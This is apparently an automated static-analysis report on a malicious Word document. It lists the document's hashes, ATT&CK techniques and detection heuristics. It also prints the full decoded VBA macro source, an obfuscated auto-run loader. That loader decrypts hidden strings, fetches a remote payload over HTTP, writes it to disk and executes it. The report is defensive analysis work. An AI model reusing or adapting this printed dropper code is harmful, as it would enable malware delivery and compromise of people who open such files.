Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 470bcef6611aef8d…

MALICIOUS

Office (OOXML)

32.5 KB Created: 2015-06-24 11:31:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-19
MD5: 5dc77c06e09aaeefc147985073c038f0 SHA-1: 11d7868c557caa4bca8ecf5b8909206a9510a729 SHA-256: 470bcef6611aef8d0ceec2f0d8d6f5f59f51f8addcb0fde9594c705980fd1f6c
400 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious OOXML document containing obfuscated VBA macros designed to execute upon opening. The document body explicitly instructs the user to "Enable Editing" and "Enable Content," a common social engineering tactic to bypass macro security. The presence of `CreateObject`, `GetObject`, and `CallByName` calls, along with an auto-executing loader, strongly suggests the execution of a malicious payload. The VBA code is heavily obfuscated, making specific payload analysis difficult, but the overall intent is to download and execute a secondary stage.

Heuristics 12

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    GetObject 57, 41
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set LQ0wGh = CreateObject(Uh48G7J6b5KUWO(Chr(26) + Chr(119) + Chr(136) + Chr(131) + Chr(133) + Chr(144) + Chr(198) + Chr(154) + Chr(34) + Chr(242) + Chr(131) + Chr(89) + Chr(40) + Chr(245) + Chr(227) + Chr(229) + Chr(42), "N3D48afUrPC"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    GetObject 57, 41
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName C2VvyAqwR, 38, VbMethod, 47, 73, 93
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    BQLqmzC78P = Environ(Uh48G7J6b5KUWO(Chr(36) + Chr(44) + Chr(120) + Chr(128) + Chr(242) + Chr(73) + Chr(69), "PhOzZP45vbF")) & "\" & YZavbiRmqO2 & Uh48G7J6b5KUWO(Chr(207) + Chr(245) + Chr(247) + Chr(112), "CqWvrLwBh7BZ8Ge")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 12913 bytes
SHA-256: 19479e3ab8beb2f536aea6d158b0c5739264c04f2937691f3adc9a818fca1c16
Detection
ClamAV: No threats found
Obfuscation or payload: likely
98 of 171 identifiers look randomly generated (e.g. 'T7CSM5szjzfVQOKzoQyb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub VVAHR9HKN()
Dim VBYWasH7b7RZHTr As Long, IiLDgi429 As Long
VBYWasH7b7RZHTr = 11
IiLDgi429 = 82
If VBYWasH7b7RZHTr + IiLDgi429 > 2 Then
IiLDgi429 = VBYWasH7b7RZHTr + 14
Else
InputBox 21
End If
DateDiff "ASal0fWbSGeq6", 94, 30
If CDec(69) = True Then VvoBYWasH7b = 6
PTScTr02FcU0LmVz = Dir("MJ8iRc")
Round 95, 74
TtCgOTohG5UG = CVDate(36)
KSiuWS19V9vyAHonU = CVar(53)
App.LogEvent "XWpspsSG429"
NPer 54, 51, 60
Loc 32
FMNL4z7VsB2Ap6E = LCase(18)
HejPkbQzZiZ = CSng(32)
TimeSerial 90, 16, 14
DapCH5Fmzsmjcct = Cos(10)
Qy2hPdVEE07jSF = UCase(45)
App.StartLogging "DUxX2HGkof", 52
GetObject 57, 41
If CDate(89) = True Then NUS1r = 195
Yr5X4HxtPPQ = Fix(73)
DoEvents
Sin 39
Month 43
DmDgM = QBColor(83)
CallByName C2VvyAqwR, 38, VbMethod, 47, 73, 93
CIFDYfBlno = DateValue(34)
Partition 59, 35, 9, 61
Randomize
Sqr 4
ChDrive 2
Beep
If IsNumeric(55) = True Then Vdo45sQf = 20
Dim UUQ3c As Long, Bk1tlMxFb As Long
UUQ3c = 5
Bk1tlMxFb = 59
If UUQ3c + Bk1tlMxFb > 2 Then
Bk1tlMxFb = UUQ3c + 68
Else
InputBox 94
End If
End Sub
Function YZavbiRmqO2() As String
Dim MbwZHyd As Long, AaBrWqmCVFk3 As Long
MbwZHyd = 19
AaBrWqmCVFk3 = 18
If MbwZHyd + AaBrWqmCVFk3 > 2 Then
AaBrWqmCVFk3 = MbwZHyd + 93
Else
InputBox 93
End If
Dim LWKezk() As Byte, IIznDdhWHmaC() As Byte, HjfoZW8RhIgL As Long, BKTCXAT As Long, BnvnVvi6OiINN As String, YIrd8ZjhhfjmR As String, KlHfQ As Long
Dim UIimu As Long, HsmN As Long
UIimu = 54
HsmN = 12
If UIimu + HsmN > 2 Then
HsmN = UIimu + 37
Else
InputBox 36
End If
KlHfQ = 0
Dim D0F6VGIhcgAjt28x As Long, Y0L5pokvrK As Long
D0F6VGIhcgAjt28x = 61
Y0L5pokvrK = 2
If D0F6VGIhcgAjt28x + Y0L5pokvrK > 2 Then
Y0L5pokvrK = D0F6VGIhcgAjt28x + 5
Else
InputBox 23
End If
RXSrQthX:
Dim KaJ4eEjxjxyp As Long, T7ycDGC808 As Long
KaJ4eEjxjxyp = 18
T7ycDGC808 = 57
If KaJ4eEjxjxyp + T7ycDGC808 > 2 Then
T7ycDGC808 = KaJ4eEjxjxyp + 67
Else
InputBox 82
End If
Randomize
YIrd8ZjhhfjmR = Int(30 * Rnd)
If YIrd8ZjhhfjmR < 4 Then GoTo RXSrQthX
KlHfQ = YIrd8ZjhhfjmR
If KlHfQ > 0& Then
Dim WFSpsg4l9Xfd3V3 As Long, MFKfLsaBv7QDP6Q As Long
WFSpsg4l9Xfd3V3 = 11
MFKfLsaBv7QDP6Q = 79
If WFSpsg4l9Xfd3V3 + MFKfLsaBv7QDP6Q > 2 Then
MFKfLsaBv7QDP6Q = WFSpsg4l9Xfd3V3 + 12
Else
InputBox 4
End If
BnvnVvi6OiINN = Uh48G7J6b5KUWO(Chr(141) + Chr(248) + Chr(106) + Chr(115) + Chr(33) + Chr(171) + Chr(35) + Chr(108) + Chr(145) + Chr(205), "LTUWqVnXBZOTYr")
Randomize
LWKezk = BnvnVvi6OiINN
HjfoZW8RhIgL = Len(BnvnVvi6OiINN) - 1&
KlHfQ = (KlHfQ * 2&) - 1&
ReDim IIznDdhWHmaC(KlHfQ) As Byte
Dim XbozDRuCmONA2N As Long, U7jMp As Long
XbozDRuCmONA2N = 88
U7jMp = 7
If XbozDRuCmONA2N + U7jMp > 2 Then
U7jMp = XbozDRuCmONA2N + 52
Else
InputBox 42
End If
For BKTCXAT = 0& To KlHfQ Step 2&
IIznDdhWHmaC(BKTCXAT) = LWKezk(CLng(HjfoZW8RhIgL * Rnd) * 2&)
Next
Dim KJK0c As Long, QTQlv0W As Long
KJK0c = 57
QTQlv0W = 26
If KJK0c + QTQlv0W > 2 Then
QTQlv0W = KJK0c + 47
Else
InputBox 58
End If
End If
Dim Jp1ia35s9azE8m As Long, Dy9dszKhHoQiN2VSR As Long
Jp1ia35s9azE8m = 7
Dy9dszKhHoQiN2VSR = 5
If Jp1ia35s9azE8m + Dy9dszKhHoQiN2VSR > 2 Then
Dy9dszKhHoQiN2VSR = Jp1ia35s9azE8m + 58
Else
InputBox 23
End If
YZavbiRmqO2 = IIznDdhWHmaC
Dim YKO As Long, X7MCeMBH0y67pd As Long
YKO = 90
X7MCeMBH0y67pd = 90
If YKO + X7MCeMBH0y67pd > 2 Then
X7MCeMBH0y67pd = YKO + 65
Else
InputBox 39
End If
End Function
Sub OqC4X3AcojUZxc()
Dim U9Unpcan As Long, Oh4sFSap As Long
U9Unpcan = 97
Oh4sFSap = 16
If U9Unpcan + Oh4sFSap > 2 Then
Oh4sFSap = U9Unpcan + 17
Else
InputBox 13
End If
Dim BQLqmzC78P As String, LQ0wGh As Object, P2vN1fybVH6wB As Integer
Dim V5kdEliwt375o9Fcm As Long, CwOa69LB3H2TNBd As Long
V5kdEliwt375o9Fcm = 58
CwOa69LB3H2TNBd = 34
If V5kdEliwt375o9Fcm + CwOa69LB3H2TNBd > 2 Then
CwOa69LB3H2TNBd = V5kdEliwt375o9Fcm + 34
Else
InputBox 86
End If
BQLqmzC78P = Environ(Uh48G7J6b5KUWO(Chr(36) + Chr(44) + Chr(120) + Chr(128) + Chr(242) + Chr(73) + Chr(69), "PhOzZP45vbF")) & "\" & YZavbiRmqO2 & Uh48G7J6b5KUWO(Chr(207) + Chr(245) + Chr(247) + Chr(112), "CqWvrLwBh7BZ8Ge")
Dim TJcavJUbG8r7D As Long, SvUNqhkVQGV As Long
TJcavJUbG8r7D = 68
SvUNqhkVQGV = 44
If TJcavJUbG8r7D + SvUNqhkVQGV > 2 Then
SvUNqhkVQGV = TJcavJUbG8r7D + 18
Else
InputBox 70
End If
Set LQ0wGh = CreateObject(Uh48G7J6b5KUWO(Chr(26) + Chr(119) + Chr(136) + Chr(131) + Chr(133) + Chr(144) + Chr(198) + Chr(154) + Chr(34) + Chr(242) + Chr(131) + Chr(89) + Chr(40) + Chr(245) + Chr(227) + Chr(229) + Chr(42), "N3D48afUrPC"))
Dim YCy4VRt As Long, MX9QRIlI38KS As Long
YCy4VRt = 35
MX9QRIlI38KS = 47
If YCy4VRt + MX9QRIlI38KS > 2 Then
MX9QRIlI38KS = YCy4VRt + 83
Else
InputBox 79
End If
LQ0wGh.Open Uh48G7J6b5KUWO(Chr(28) + Chr(20) + Chr(7), "OVgg5nMRlUzRTZ"), Uh48G7J6b5KUWO(Chr(72) + Chr(221) + Chr(210) + Chr(33) + Chr(199) + Chr(158) + Chr(245) + Chr(24) + Chr(73) + Chr(87) + Chr(176) + Chr(34) + Chr(163) + Chr(28) + Chr(162) + Chr(113) + Chr(119) + Chr(83) + Chr(164) + Chr(71) + Chr(251) + Chr(117) + Chr(107) + Chr(150) + Chr(149) + Chr(120) + Chr(130), "MdvkuWeld1bWi"), False
Dim VFAGXnh8p As Long, IZmzrtEdAWUY As Long
VFAGXnh8p = 16
IZmzrtEdAWUY = 49
If VFAGXnh8p + IZmzrtEdAWUY > 2 Then
IZmzrtEdAWUY = VFAGXnh8p + 77
Else
InputBox 19
End If
LQ0wGh.setRequestHeader Uh48G7J6b5KUWO(Chr(102) + Chr(182) + Chr(191) + Chr(195) + Chr(193) + Chr(148) + Chr(185) + Chr(217) + Chr(115) + Chr(58), "TKh4YaSaFiFmyX"), Uh48G7J6b5KUWO(Chr(133) + Chr(201) + Chr(249) + Chr(11) + Chr(195) + Chr(141) + Chr(63) + Chr(197) + Chr(215) + Chr(43) + Chr(127), "RvPul1gXsqwt")
LQ0wGh.send
If LQ0wGh.readyState = 4 And LQ0wGh.Status = 200 Then
Dim EgBNQLHz2Vh1G9 As Long, Sx1eCnus8 As Long
EgBNQLHz2Vh1G9 = 29
Sx1eCnus8 = 38
If EgBNQLHz2Vh1G9 + Sx1eCnus8 > 2 Then
Sx1eCnus8 = EgBNQLHz2Vh1G9 + 10
Else
InputBox 95
End If
P2vN1fybVH6wB = FreeFile
Open BQLqmzC78P For Binary Access Write Lock Write As #P2vN1fybVH6wB
Put #P2vN1fybVH6wB, , Uh48G7J6b5KUWO(StrConv(LQ0wGh.ResponseBody, vbUnicode), Uh48G7J6b5KUWO(Chr(161) + Chr(11) + Chr(157) + Chr(91) + Chr(124) + Chr(115) + Chr(91) + Chr(115) + Chr(229), "Tm3gbRL1ihz9T"))
Close #P2vN1fybVH6wB
Dim YJpmXo28ilyqOETr As Long, QtraTrxjr As Long
YJpmXo28ilyqOETr = 22
QtraTrxjr = 21
If YJpmXo28ilyqOETr + QtraTrxjr > 2 Then
QtraTrxjr = YJpmXo28ilyqOETr + 52
Else
InputBox 32
End If
EYo3RVLpmVV7s 1
Dim DCCG8h9h As Long, G6SkQi76l As Long
DCCG8h9h = 94
G6SkQi76l = 4
If DCCG8h9h + G6SkQi76l > 2 Then
G6SkQi76l = DCCG8h9h + 75
Else
InputBox 62
End If
CreateObject(Uh48G7J6b5KUWO(Chr(223) + Chr(232) + Chr(253) + Chr(253) + Chr(126) + Chr(207) + Chr(194) + Chr(127) + Chr(36) + Chr(61) + Chr(193) + Chr(107) + Chr(51), "P9rbXA836iT1q")).exec """" & BQLqmzC78P & """"
Dim PEooYIci17SSd As Long, CeszwMI1Dh As Long
PEooYIci17SSd = 37
CeszwMI1Dh = 49
If PEooYIci17SSd + CeszwMI1Dh > 2 Then
CeszwMI1Dh = PEooYIci17SSd + 86
Else
InputBox 2
End If
End If
Dim TgGPV3e6wEqpsOk As Long, PWOmHiS9gSV As Long
TgGPV3e6wEqpsOk = 21
PWOmHiS9gSV = 24
If TgGPV3e6wEqpsOk + PWOmHiS9gSV > 2 Then
PWOmHiS9gSV = TgGPV3e6wEqpsOk + 42
Else
InputBox 61
End If
Set LQ0wGh = Nothing
Dim HCJPfrF23GU As Long, T7CSM5szjzfVQOKzoQyb As Long
HCJPfrF23GU = 9
T7CSM5szjzfVQOKzoQyb = 62
If HCJPfrF23GU + T7CSM5szjzfVQOKzoQyb > 2 Then
T7CSM5szjzfVQOKzoQyb = HCJPfrF23GU + 1
Else
InputBox 60
End If
End Sub
Function Uh48G7J6b5KUWO(ByVal Q3l4HxMl As String, ByVal LL7uAheuG86O5jM As String) As String
Dim Ov0DfnvCWvs As Long, THpIEQ4rtGNOU As Long
Ov0DfnvCWvs = 83
THpIEQ4rtGNOU = 24
If Ov0DfnvCWvs + THpIEQ4rtGNOU > 2 Then
THpIEQ4rtGNOU = Ov0DfnvCWvs + 50
Else
InputBox 26
End If
On Error Resume Next
Dim JCqUSpoV As Long, OHwM As Long
JCqUSpoV = 17
OHwM = 72
If JCqUSpoV + OHwM > 2 Then
OHwM = JCqUSpoV + 32
Else
InputBox 28
End If
Dim XlJF5KFlzQy9r0p1D(0 To 255) As Integer, L6YioGNZMOzbI As Long, IcUYRu0u1CExyEj As Long, YAfg7gnzpD6GT8t As Long, YyHTmcUd7LeyxK() As Byte, T34JvTPn8r() As Byte, EGrSV3hcAMW8757 As Byte
Dim IoPrUaXJkGj As Long, XSglFBIl8BAmOe As Long
IoPrUaXJkGj = 41
XSglFBIl8BAmOe = 51
If IoPrUaXJkGj + XSglFBIl8BAmOe > 2 Then
XSglFBIl8BAmOe = IoPrUaXJkGj + 22
Else
InputBox 9
End If
YyHTmcUd7LeyxK() = StrConv(LL7uAheuG86O5jM, vbFromUnicode)
Dim GyVcYbs4T As Long, WB6nVQDiLv As Long
GyVcYbs4T = 91
WB6nVQDiLv = 74
If GyVcYbs4T + WB6nVQDiLv > 2 Then
WB6nVQDiLv = GyVcYbs4T + 1
Else
InputBox 21
End If
For L6YioGNZMOzbI = 0 To 255
XlJF5KFlzQy9r0p1D(L6YioGNZMOzbI) = L6YioGNZMOzbI
Next L6YioGNZMOzbI
L6YioGNZMOzbI = 0
IcUYRu0u1CExyEj = 0
YAfg7gnzpD6GT8t = 0
For L6YioGNZMOzbI = 0 To 255
IcUYRu0u1CExyEj = (IcUYRu0u1CExyEj + XlJF5KFlzQy9r0p1D(L6YioGNZMOzbI) + YyHTmcUd7LeyxK(L6YioGNZMOzbI Mod Len(LL7uAheuG86O5jM))) Mod 256
EGrSV3hcAMW8757 = XlJF5KFlzQy9r0p1D(L6YioGNZMOzbI)
XlJF5KFlzQy9r0p1D(L6YioGNZMOzbI) = XlJF5KFlzQy9r0p1D(IcUYRu0u1CExyEj)
XlJF5KFlzQy9r0p1D(IcUYRu0u1CExyEj) = EGrSV3hcAMW8757
Next L6YioGNZMOzbI
L6YioGNZMOzbI = 0
IcUYRu0u1CExyEj = 0
YAfg7gnzpD6GT8t = 0
T34JvTPn8r() = StrConv(Q3l4HxMl, vbFromUnicode)
For L6YioGNZMOzbI = 0 To Len(Q3l4HxMl)
IcUYRu0u1CExyEj = (IcUYRu0u1CExyEj + 1) Mod 256
YAfg7gnzpD6GT8t = (YAfg7gnzpD6GT8t + XlJF5KFlzQy9r0p1D(IcUYRu0u1CExyEj)) Mod 256
EGrSV3hcAMW8757 = XlJF5KFlzQy9r0p1D(IcUYRu0u1CExyEj)
XlJF5KFlzQy9r0p1D(IcUYRu0u1CExyEj) = XlJF5KFlzQy9r0p1D(YAfg7gnzpD6GT8t)
XlJF5KFlzQy9r0p1D(YAfg7gnzpD6GT8t) = EGrSV3hcAMW8757
T34JvTPn8r(L6YioGNZMOzbI) = T34JvTPn8r(L6YioGNZMOzbI) Xor (XlJF5KFlzQy9r0p1D((XlJF5KFlzQy9r0p1D(IcUYRu0u1CExyEj) + XlJF5KFlzQy9r0p1D(YAfg7gnzpD6GT8t)) Mod 256))
Next L6YioGNZMOzbI
Dim DK33DC0ncdU As Long, EoMLREyEyfZqE As Long
DK33DC0ncdU = 61
EoMLREyEyfZqE = 76
If DK33DC0ncdU + EoMLREyEyfZqE > 2 Then
EoMLREyEyfZqE = DK33DC0ncdU + 56
Else
InputBox 17
End If
Uh48G7J6b5KUWO = StrConv(T34JvTPn8r, vbUnicode)
Dim TRnYwCsTI As Long, TnOVe9XggY0 As Long
TRnYwCsTI = 98
TnOVe9XggY0 = 17
If TRnYwCsTI + TnOVe9XggY0 > 2 Then
TnOVe9XggY0 = TRnYwCsTI + 62
Else
InputBox 26
End If
End Function
Sub Document_Open()
Dim GeGZMDlz55 As Long, IKx4uJ0A8ncdU As Long
GeGZMDlz55 = 42
IKx4uJ0A8ncdU = 34
If GeGZMDlz55 + IKx4uJ0A8ncdU > 2 Then
IKx4uJ0A8ncdU = GeGZMDlz55 + 57
Else
InputBox 89
End If
Dim GW6WiuT0Ipc4VHO As Long, TNkXNv As Long, RdKbL As Long
Dim N1MRWdZeho7 As Long, HUo3bLKa80W As Long
N1MRWdZeho7 = 26
HUo3bLKa80W = 22
If N1MRWdZeho7 + HUo3bLKa80W > 2 Then
HUo3bLKa80W = N1MRWdZeho7 + 10
Else
InputBox 45
End If
GW6WiuT0Ipc4VHO = 927339719: TNkXNv = 0: RdKbL = 0
Dim VRKejXO8CwgTC9Z As Long, NrTwC As Long
VRKejXO8CwgTC9Z = 80
NrTwC = 7
If VRKejXO8CwgTC9Z + NrTwC > 2 Then
NrTwC = VRKejXO8CwgTC9Z + 27
Else
InputBox 93
End If
For TNkXNv = 1 To GW6WiuT0Ipc4VHO
RdKbL = RdKbL + 1
Next TNkXNv
Dim AotQWJSU As Long, YCKzduv6q0l As Long
AotQWJSU = 42
YCKzduv6q0l = 49
If AotQWJSU + YCKzduv6q0l > 2 Then
YCKzduv6q0l = AotQWJSU + 54
Else
InputBox 38
End If
If RdKbL = GW6WiuT0Ipc4VHO Then
Dim OLn6dIUaeAcIGGk As Long, LGTBi7428Jotnm As Long
OLn6dIUaeAcIGGk = 55
LGTBi7428Jotnm = 35
If OLn6dIUaeAcIGGk + LGTBi7428Jotnm > 2 Then
LGTBi7428Jotnm = OLn6dIUaeAcIGGk + 95
Else
InputBox 86
End If
OqC4X3AcojUZxc
Dim HAUNwVT2 As Long, QvcziPStzsLi As Long
HAUNwVT2 = 95
QvcziPStzsLi = 15
If HAUNwVT2 + QvcziPStzsLi > 2 Then
QvcziPStzsLi = HAUNwVT2 + 5
Else
InputBox 61
End If
Else
Dim GQGYDnp As Long, BIBmDQUu5h3 As Long
GQGYDnp = 24
BIBmDQUu5h3 = 40
If GQGYDnp + BIBmDQUu5h3 > 2 Then
BIBmDQUu5h3 = GQGYDnp + 64
Else
InputBox 19
End If
VVAHR9HKN
Dim Vzr6XbOYD0jw1osz As Long, RJ3cgd4rZ120So As Long
Vzr6XbOYD0jw1osz = 59
RJ3cgd4rZ120So = 34
If Vzr6XbOYD0jw1osz + RJ3cgd4rZ120So > 2 Then
RJ3cgd4rZ120So = Vzr6XbOYD0jw1osz + 8
Else
InputBox 60
End If
End If
Dim MJ9bRd As Long, AtDZ9TSBYyZvNca As Long
MJ9bRd = 43
AtDZ9TSBYyZvNca = 55
If MJ9bRd + AtDZ9TSBYyZvNca > 2 Then
AtDZ9TSBYyZvNca = MJ9bRd + 47
Else
InputBox 69
End If
End Sub
Sub EYo3RVLpmVV7s(NK9nu As Long)
Dim GuZsFwLpm As Long, Ps0xzP1i0 As Long
GuZsFwLpm = 82
Ps0xzP1i0 = 52
If GuZsFwLpm + Ps0xzP1i0 > 2 Then
Ps0xzP1i0 = GuZsFwLpm + 17
Else
InputBox 22
End If
Dim MjZX9vGNkSaI7F As Long
Dim O3xPJhKUcRRI As Long, WHWP3bef55Bk As Long
O3xPJhKUcRRI = 65
WHWP3bef55Bk = 75
If O3xPJhKUcRRI + WHWP3bef55Bk > 2 Then
WHWP3bef55Bk = O3xPJhKUcRRI + 46
Else
InputBox 59
End If
MjZX9vGNkSaI7F = Timer + NK9nu
Do While Timer < MjZX9vGNkSaI7F
DoEvents
Loop
Dim ULQZsFwLpm As Long, RvhKVyy26i3Q As Long
ULQZsFwLpm = 9
RvhKVyy26i3Q = 47
If ULQZsFwLpm + RvhKVyy26i3Q > 2 Then
RvhKVyy26i3Q = ULQZsFwLpm + 84
Else
InputBox 73
End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 33280 bytes
SHA-256: 54f7c28b1e4161edd38bd582897812859eebd730e833a9b9c20f6e0897b93ca7
Detection
ClamAV: Doc.Malware.Chronos-6897935-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.